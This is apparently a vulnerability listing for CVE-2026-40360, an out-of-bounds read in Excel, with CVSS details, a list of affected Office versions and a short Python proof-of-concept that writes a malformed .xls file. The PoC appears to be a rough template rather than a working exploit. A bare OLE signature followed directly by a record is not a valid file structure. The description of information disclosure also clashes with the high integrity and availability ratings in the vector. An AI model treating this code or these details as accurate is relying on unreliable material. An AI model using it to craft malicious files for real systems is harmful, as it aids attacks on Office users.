Out-of-bounds read in Microsoft Office Excel allows an unauthorized attacker to disclose information locally.
CVSS Details
CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
Microsoft Office Excel 2016
Microsoft Office Excel 2019
Microsoft Office 2021 LTSC
Microsoft Office 365
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC Concept for CVE-2026-40360
# This script demonstrates the creation of a malformed Excel file structure.
# Opening this file with a vulnerable version of Excel may trigger the OOB read.
import struct
def create_malicious_xls():
# Standard XLS file header
header = b"\xD0\xCF\x11\xE0\xA1\xB1\x1A\xE1"
# Constructing a record with invalid length to trigger OOB read
# Record ID (e.g., Dimensions or a common record)
record_id = struct.pack('<H', 0x0200)
# Set length to a value that forces the parser to read beyond allocated memory
invalid_length = struct.pack('<H', 0xFFFF)
# Malformed payload
payload = b"A" * 100
return header + record_id + invalid_length + payload
if __name__ == "__main__":
filename = "cve_2026_40360_poc.xls"
with open(filename, "wb") as f:
f.write(create_malicious_xls())
print(f"POC file '{filename}' generated. Open with Excel to test.")